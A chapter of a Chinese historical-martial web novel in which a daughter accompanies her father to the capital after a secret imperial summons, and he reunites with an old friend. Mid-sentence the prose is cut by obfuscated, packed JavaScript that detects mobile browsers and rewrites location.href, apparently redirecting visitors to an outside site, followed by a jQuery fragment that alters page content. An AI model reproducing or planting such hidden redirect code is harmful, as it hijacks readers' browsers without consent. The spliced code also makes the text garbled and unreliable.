“……”沈岁宁看不下去了,“阿爹这样就算了,阿娘今日怎么也前怕狼后怕虎的?爹只是进趟京城,又不是去龙潭虎穴。再说您真要担心有个万一,不让阿爹去不就行了?”
不等漱玉夫人说话,沈彦便开口:“若是爹抗旨不去,恐怕会更麻烦。”
“那就去,”沈岁宁当机立断,“阿娘身子不适,不能长途奔波,我陪您去。万一要真有什么情况,有阿娘在山庄坐镇,咱们父女二人联手,还怕回不来?”
漱玉夫人没说话,反倒是沈彦竟觉得有几分欣慰,“宁宁如今越来越你阿娘当年的风范了。”
“好了,你少夸她两句,”漱玉夫人沉声打断,看上似乎有些不知天高地厚的沈岁宁,“你知不知道,当年给皇帝打江山的几名开国将士里面,除了你爹早早归隐避世,其余无一人得善终?自古帝王多猜忌,性情难料,你爹都已经改名换姓离开朝堂这么久了,他突然一封密诏就要你爹进京,毫无征兆,谁知这一纸密诏底下藏了什么样的陷阱?”
沈彦和沈岁宁同时盯向漱玉夫人,眼睛一眨不眨,弄得漱玉夫人莫名其妙,“看着我做什么?我说错了?”
“唔,没有,”沈岁宁顿了顿,“只是觉得平日里这些话都是由阿爹来说的,头一次见阿娘这样畏手畏脚,有些意外罢了。”
“宁宁,阿娘没有同你说笑。”
“我知道,阿娘是担心爹这一趟凶多吉少,但我也说了,我陪爹一起去,”沈岁宁笑,“爹的武功虽不能说天下无敌,但好歹也是替皇帝打过江山的。您平日里总说我懒散不爱练功,但这两年,连凤羽都快要不是我的对手了。若阿娘还是放心不下,我再多派些人手跟着,把济世堂、碧峰堂、临戎阁的人都带上些。实在不行,我还能给大哥飞鸽传书,让他也前来接应。再不济,有您在家中坐镇,也能及时接应,所以,您到底还有什么好担心的呢?”
漱玉夫人张了张嘴,沉默许久,终于摇头起身,往外走去。
……
临行那日,漱玉山庄各堂口的人下山相送,浩浩汤汤一水儿的人,阵仗大得让沈岁宁都觉得自个儿不是随父进京,是随父出征。
来送行的漱玉夫人满脸担心,沈岁宁见了上前宽慰:“您别担心,我把凤羽和苗姐姐都带上了,荀叔也跟着的,还有各堂口的人暗中相护,不会有事的。”
漱玉夫人嘴唇动了动,想说些吉利的字眼,但话到了嘴边,不知怎么就成了:“别给你爹添乱。”
“……”沈岁宁嘴角扯了扯,顿时无言以对,只拱手向漱玉夫人拜别。
沈彦站在漱玉夫人旁边,忍不住点破:“你明明比谁都担心宁宁,还要故意说些她不爱听的话。”
“宁宁很好,这两年,也越来越扛得住事了。其实她跟着你,我放心得很。”
“那你不多夸夸她?”
漱玉夫人微微勾唇,淡淡道:“作为下一任庄主,耳朵里不能只要夸赞的声音,夸多了便会自满。若我也像你一样只会说好话,宁宁怕是就养废了。”
“是,夫人用心良苦,我都明白。”沈彦笑着恭维。
两人相视许久后,沈彦才不舍出声:“我去了,娘子。”
“去吧,”漱玉夫人给沈彦理好衣裳,“劝着点宁宁。这孩子性子冲,别总让她乱来。”
“好。”
两人拥吻告别,上了马车后,沈彦还忍不住掀开车帘挥手告别,直到影子都看不见了,才恋恋不舍的关上。
和他同坐一辆马车的沈岁宁看不下去了,嫌弃道:“都一把年纪了,和夫人道个别还红了眼睛,说出去也不怕丢人。”
沈彦擦了擦眼角,叹了口气,“你娘就那么几点不好,你倒是学得一样不差,连安慰人的话都不知道说。”
“安慰有用吗?”沈岁宁反问,“你看我娘,自打知道你接到密诏以来,我哪天不在她面前磨嘴皮子的?可临了了,该担心的还是担心。”
沈彦被呛得说不出话
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583819|171634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一时无言,又不想让自己陷入分别的悲伤当中,索性转移话题:“你怎么不跟凤羽同坐一车?”
“她那车上坐着苗薇呢,你又不是不知道,苗薇常年呆在山上里闭门不出,除了喜欢研究机关和暗器,最爱做的就是药啊毒的这些东西了。长路漫漫,我和她坐一辆车,还得给她试毒试药。”
“你想得到是周全。”沈彦点点头,表示赞许。
大半个月后,一行人终于抵达华都。
因是密旨入京,不宜声张,沈彦让沈岁宁带着其他人住进了客栈里,自己则去拜访了老朋友,也就是开朝元老、前任宰辅谢昶。
谢老先生已年近花甲,无妻无子,卸任之后在华都外围寻了处僻静的别院住着,取名倚竹园,平日里写诗作画,偶有三五个学生登门拜访,也算不得寂寞。
沈彦上门拜访时,谢昶正握着毛笔,颤颤巍巍地画着竹。
门童将沈彦领入府中,沈彦看到头发花白的故友,一时难掩激动情绪,上前,“愚弟秦衍之拜问兄长!不知谢兄身体可还康健?”
衍之是沈彦的表字,他本姓秦,单名一个彦字。
谢昶耳力和反应不如从前,听到声音后懵怔地抬起头,等看清了来人,画笔顿时掉落在桌上。
六旬老者,再见昔日故人的激动情绪难以言表,谢昶见到沈彦后,颤巍巍地迎上前,拉着他的手久久说不出话来。
两人都眼眶通红,相顾无言。
半晌后,谢昶才终于吩咐下人:“去备上好酒好菜,今日我要与老弟衍之一醉——方休!”
沈彦在倚竹园与故友相聚时,沈岁宁一行在客栈住下了。
驾了这么久的马车,沈凤羽累得腰杆子都直不起来,倒在榻上昏昏欲睡。
沈岁宁扶着苗薇刚刚坐下,见状,抄起桌上的木茶盘就扔了过去。
“干嘛!”
“照顾苗姐姐。”
苗薇与漱玉山庄其他人不同,她双目失明又不会武功,从小便养在山上,从未出过门。
因此听了沈岁宁的话,沈凤羽用力揉了揉脸,撑着自己坐起来。
苗薇赶紧摆摆手,“不用在意我。凤羽,你歇着吧。”
“看,苗姐姐都说了,不用照顾,”沈凤羽有气无力地看向沈岁宁,“倒是少主你,夫人临行时嘱托又嘱托,叫我看着你点。”
沈岁宁白她一眼,“睡吧你。”
“欸。”沈凤羽应声倒下,瞬间便呼吸均匀了。
沈岁宁在旁边的凳子上坐下,倒了两杯水,一杯推给了苗薇,自己也喝了一大口。
华都的气候比扬州差得远了,虽然凉快一些,但却时不时觉得口干。
“宁宁,你也不必特意留下陪着我,”苗薇声音温和,脸上带了笑意,“你们这样,反而弄得我有些不太自在。”
“那……我出去逛逛?”沈岁宁心中窃喜,“要是路上看到什么特殊香料或药材,就带回来给你。”
“行,你早些回来。”
苗薇刚叮嘱完,又想到了什么,补充道:“宁宁,你回来时记得带些黄芪、麦冬和五味子。”
没有回音。